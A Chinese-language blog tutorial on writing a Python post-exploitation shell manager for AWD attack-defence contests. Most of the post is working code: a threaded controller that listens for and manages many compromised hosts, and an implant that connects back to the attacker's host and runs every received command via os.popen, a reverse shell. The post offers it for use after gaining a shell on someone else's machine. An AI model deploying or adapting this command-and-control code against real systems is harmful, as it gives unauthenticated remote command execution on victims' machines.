python中的后渗透|也可用于AWD攻防--shell管理


#python中的后渗透|也可用于AWD攻防–shell管理

在所有的旋律中,wing对说散就散最专一!
wing

0x00 前言

在平时或者线下AWD的时候,有一个shell管理器可以让我们打到事半功倍的效果。
前提你要能获得别人shell,不然这个也没什么用了。
我这里写好的这个只是一个思路,真正的后渗透工具,远比这个强大。

0x01 具体思路

  • 先看有哪些主机和自己已经连接了
  • 加一个多线程管理
  • 然后就是给连接的主机编号,哪个主机是哪个ip
  • 选择相应的主机编号,进入对方shell
  • 加一个重新选择shell的功能
  • 命令执行时间上的判断,有些命令会出错或者没回显,就会卡死。

实现流程

wing

控制端
主要是三个模块:

1
2
3
import socket
import threading
import time

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def shell(sock, addr):
while True:
command = input(str(addr[0])+':wing#')
if str(command) == 'c':
select_shell()
return
if command == 'quit':
quitTheard = True
print(seeyou)
exit(0)
if command == 0:
continue
sock.send(command.encode('utf-8'))
print('你发送的命令是:', command)
data = sock.recv(1024)
if not data:
select_shell()
print('命令执行成功,回显:',data.decode())

获得sock和地址,判断是哪个机器和我们连接的。
以及发送命令出去。进行编码解码。这里有一个坑。
py2和py3的socket我感觉好像不一样,编码自己出现了问题买就去百度解决吧,我这里没啥问题,在我的机器调试好了。
还有就是命令行选项,可以发挥你们的想象自行添加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

def select_shell():
global shellList
global myhost
print('------------------------------*------------------------------')
print('控制端正在运行中!')
print('------------------------------*------------------------------')

for i in range(len(shellList)):
print('shell 列表:')
print('[%i]->%s' % (i,str(shellList[i][1][0])))
print('请选择一个Shell ID!')

while True:
num = input('请输入Shell id:')

if int(num) >= len(shellList):
print('error!')
continue
else:
break

myhost = shellList[int(num)]
print('*' * 66)
print(' '* 22 + '已连接到' + myhost[1][0])
print('*' * 66)

得到的shell列表,将其list出来,按照id和ip分开:
如图:
wing

1
2
3
4
5
6
7
8
9
10
def connecting(socks):
while not threadQuit:
if len(shellList) == 0:
print('正在等待连接中,请稍后!')
sock, addr = socks.accept()
print('Bingo!连接已经和%s建立!' % addr[0])
lock = threading.Lock()
lock.acquire()
shellList.append((sock, addr))
lock.release()

建立一个简单的线程,因为shellList好几个函数需要用到,就设置为全局变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

def main():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',55555))
s.listen()

t = threading.Thread(target=connecting,args=(s,))
t.start()
time.sleep(1)

while True:
if len(shellList) > 0:
select_shell()
shell(myhost[0],myhost[1])


if __name__ == '__main__':
print(wingLogo)
main()

最后的主函数。建立scoket套接字,加入线程。
讲一下socket对象中两个参数的含义,
socket.AF_INET代表使用IPv4协议,socket.SOCK_STREAM
代表使用面向流的Tcp协议,
也就是说我们创建了一个基于IPv4协议的Tcp Server。
当有多个台机器连接到控制端时,我们要记录这些机器的socket对象
,以便我们可以选择不同的操作对象
服务端

服务端主要就是接受命令并执行发送给控制端。
python调用系统命令有这几种方法,更多的欢迎补充

  • os.popen().read()
  • os.sysytem
  • subproess
  • command模块
1
2
3
4
5
6
7
8
subprocess.Popen()函数:
这里我简单介绍一下。subprocess.Popen()可以实现在一个新的进程中启动一个子程序,
第一个参数就是子程序的名字,shell=True则是说明程序在Shell中执行。至于stdoutstderr
stdin的值都是subprocess.PIPE,
它是表示用管道的形式与子进程交互。
还有一个就是一开始我说的比较坑的地方,就是编码,控制端发送命令执行结果的
时候,如果用这个模块,建议先将结果用本地系统编码的方式进行解码,
然后又用utf-8进行编码,以避免被控端编码不是utf-8时,控制端接收到的结果显示乱码
1
2
os.system()
这个函数不会返回值,没啥用
1
2
3
4
5
6
7
8
9
10
11
12
os.popen()
这个方法执行命令并返回执行后的信息对象,是通过一个管道文件将结果返回。
>>> output = os.popen('cat /proc/cpuinfo')
>>> output
<open file 'cat /proc/cpuinfo', mode 'r' at 0x7ff52d831540>
>>> print output.read()
processor : 0
vendor_id : AuthenticAMD
cpu family : 21
... ...
>>><span style="font-size:14px;">
所以要加read
1
2
3
4
5
6
7
8
9
10
commands模块
>>> import commands
>>> (status, output) = commands.getstatusoutput('cat /proc/cpuinfo')
>>> print output
processor : 0
vendor_id : AuthenticAMD
cpu family : 21
... ...
>>> print status
0

一开始我是用subprocess,但是有些命令很慢,os.popen简便些。

code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
# _*_ coding: utf-8 _*_


import socket
import threading
import subprocess
import time
import sys
import argparse
import os

wingLogo = '''
| |
___ ___ _ ____ _____ _ __| |
/ __|/ _ \ '__\ \ / / _ \ '__| |
\__ \ __/ | \ V / __/ | |_|
|___/\___|_| \_/ \___|_| (_)
'''

def connect(host,port):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,int(port)))
while True:
print('等待控制端发送命令中......')
cmd = sock.recv(1024)
cmd = str(cmd.decode())
print('正在执行命令-----', cmd)
# shellCommand = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
# shell_out,shell_error = shellCommand.communicate()
# cmd = shell_out.decode().encode('utf-8')
# print(cmd)
cmd = os.popen(cmd).read()
print(cmd.encode('utf-8'))
# cmd = os.popen(cmd)
# print(cmd.encode('utf-8'))
sock.sendall(bytes(cmd.encode('utf-8')))
time.sleep(1)


def main():
parse = argparse.ArgumentParser()
parse.add_argument('-H',dest='host',help='hostname')
parse.add_argument('-p',dest='port',help='portname')
args = parse.parse_args()

host = args.host
port = args.port

if host == None and port ==None:
print(parse.parse_args(['-h']))
exit(-1)
connect(host,port)


if __name__ == '__main__':
print(wingLogo)
main()

argparse模块也很好用,智能化一点。

效果

wing
wing
wing
wing
wing
wing
wing
wing

GAME OVER!
wing
wing‘s blog

打赏wing!